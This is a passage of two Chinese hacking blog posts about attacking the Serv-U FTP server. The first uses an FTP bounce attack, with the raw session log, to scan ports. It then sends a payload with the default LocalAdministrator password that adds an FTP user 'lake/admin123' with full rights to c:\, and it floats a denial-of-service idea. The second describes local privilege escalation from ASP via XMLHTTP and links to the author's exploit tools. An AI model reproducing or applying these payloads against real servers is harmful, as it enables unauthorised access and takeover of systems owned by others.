pass xxxxxxxxxxxx

230 User logged in, proceed.

port 127,0,0,1,171,182

200 PORT Command successful.

list

150 Opening ASCII mode data connection for /bin/ls.

226-Maximum disk quota limited to 204800 kBytes

Used disk quota 81766 kBytes, available 123033 kBytes

226 Transfer complete.

port 127,0,0,1,171,183

200 PORT Command successful.

list

150 Opening ASCII mode data connection for /bin/ls.

426-Maximum disk quota limited to 204800 kBytes

Used disk quota 81766 kBytes, available 123033 kBytes

426 Data connection closed, transfer aborted.



命令“port 127,0,0,1,171,182”就是把数据发送到FTP服务器的43958(171*256+182=43958)端口,因为该端口是开放的,所以数据发送成功;第二次把数据发送到43959端口,该端口关闭,所以发送失败。根据返回的结果,就实现了端口扫描(由于限制,只能扫描大于1024的端口)。大名鼎鼎的扫描器NMAP就有利用FTP反弹实现端口扫描的功能。

利用反弹攻击也可以发送任意数据,把要发送的数据写到文件中然后RETR就行了。既然可以发送任意数据,当然包括向43958端口发送添加有执行权限的FTP用户的命令咯。这真是个令人兴奋的主意。

以下内容保存为test.txt并传到FTP根目录:



user LocalAdministrator

Pass #l@$ak#.lk;0@P

SITE MAINTENANCE

-SETUSERSETUP

-IP=0.0.0.0

-PortNo=21

-User=lake

-Password=admin123

-HomeDir=c:\

-LoginMesFile=

-Disable=0

-RelPaths=1

-NeedSecure=0

-HideHidden=0

-AlwaysAllowLogin=0

-ChangePassword=0

-QuotaEnable=0

-MaxUsersLoginPerIP=-1

-SpeedLimitUp=0

-SpeedLimitDown=0

-MaxNrUsers=-1

-IdleTimeOut=600

-SessionTimeOut=-1

-Expire=0

-RatioUp=1

-RatioDown=1

-RatiosCredit=0

-QuotaCurrent=0

-QuotaMaximum=0

-Maintenance=None

-PasswordType=Regular

-Ratios=None

Access=c:\|RWAMELCDP





然后retr test.txt,添加用户的数据就发过去了。

每次都莫名其妙的添加失败,后来试验多次才发现是由于数据发送太快43958端口那边还没来得及响应连接就就关闭了。解决办法是在test.txt文件前面添加许多无用数据,当文件达到1M多的时候,哈哈,成功了!

以上是在5.2版本的情况,但在6.3版本上,情况不妙,43958端口限制了接收数据大小,几十K都不行了,何况一个1M的大文件呢。

这个地方一直没想到好的解决办法,似乎有两点思路供参考:

1、 上传/下载大文件,降低其处理速度

2、 对FTP服务器进行拒绝服务攻击,消耗资源降低处理速度

以上只是猜想没有去实践,姑且叫“lake2猜想”吧,谁把它解决了,我请吃饭哦^_^

分类: 技术文章 标签:

Serv-U本地权限提升的ASP实现

2006年9月21日 没有评论 91 views

Author:lake2 ( http://lake2.0x54.org )

最近的生活真无聊,寒冰掌老大见我无所事事,就说如果我能把Serv-U本地提权的ASP程序做出来就给介绍个MM,所以呢,就有了这篇文章^_^

Serv-U本地提权的问题很古老了,不清楚的朋友谷歌一下先,我就不罗嗦啦。呵呵,最主要的是相继出现了php、perl、aspx版本的提权脚本,一时间刀光剑影满天飞,惟独缺了ASP版的。主要是由于郁闷的ASP不能像其他脚本那样访问Socket(另一个原因是因为老大没早点对我用美眉计^_^)。

网上流传可以利用MSWinsock控件实现,这是不好滴。因为这是个第三方组件,呵呵,几率相当小,既然要杀人灭口,嘿嘿,肯定要采用一套通杀的方法才是。

Serv-U服务器管理那里使用了FTP协议,所以我们应该研究一下FTP协议先。

正常的FTP协议的认证过程:

220 Serv-U FTP Server v5.2 for WinSock ready...

user lake2

331 User name okay, need password.

pass lake2lake2

230 User logged in, proceed.

……

现在我乱来:

220 Serv-U FTP Server v5.2 for WinSock ready...

Hi, I'm Bill Gates!

530 Not logged in.

Open!

530 Not logged in.

I am hacker !

530 Not logged in.

Give you money

530 Not logged in.

user lake2

331 User name okay, need password.

pass lake2lake2

230 User logged in, proceed.

……

注意,如果期待的数据不是user XXX,Serv-U将返回错误信息并一直等待正确的登陆命令。暗示着什么呢,呵呵,暗示我们要成功啦。

最近用XMLHTTP组件比较多,这个系统内置组件就是利用HTTP协议发送和接收数据。我们将利用这个组件实现Serv-U的提权。现在的问题在于我们怎么把FTP协议通过HTTP协议发送出去呢?

嘿嘿,没看到刚才我辛辛苦苦测试的结果么,只要利用POST方式提交数据,POST的内容是FTP命令就行啦,因为前面的HTTP报文头会被Serv-U认为是非法的命令而忽略,而POST的内容即FTP命令就会被接受执行!

由于XMLHTTP及Serv-U的特性,又带来一系列问题:XMLHTTP没有超时设置,由于等不到服务器响应的HTTP报文头,会一直挂起;XMLHTTP是单用户且复用Socket的,根据HTTP协议版本对同一目标只有2个或者4个连接,所以执行一次(或者2次)添加域删除域之后就不能再次连接了;Serv-U的管理模式使用的伪FTP协议,也就是不认QUIT命令,造成连接不能断开(用ServerXMLHTTP可以很好的解决这些问题,但是仅限于XP下,2000/2003上又不行,郁闷)。

所以只有用一个折中的办法来解决以上的若干问题:

1、XMLHTTP先添加FTP用户;

2、自己登陆FTP用新帐号执行N多命令提权;

3、XMLHTTP删除新用户

你必须记得,因为连接不能断开,你只有一次或者两次执行上述步骤的机会!如果还想再来,呵呵,等着IIS或者FTP重启吧。

好在以前我也写过一个利用有执行权限的FTP帐号执行命令的程序,使得第2步方便了不少,程序这里下载之:http://www.0x54.org/lake2/program/ftpshell.exe

完整的ASP代码这里下载:http://www.0x54.org/lake2/program/suASP.rar

该ASP程序将在端口21添加一个用户名lake密码admin123的执行权限用户,有什么特殊情况(比如ftp端口不是21),自己改代码吧。

举一反三,似乎这样也可以在特定情况利用asp来访问FTP做些事情,不过那是你的事情了。

搞定散伙收工走人,enjoy it!

分类: 技术文章 标签: ,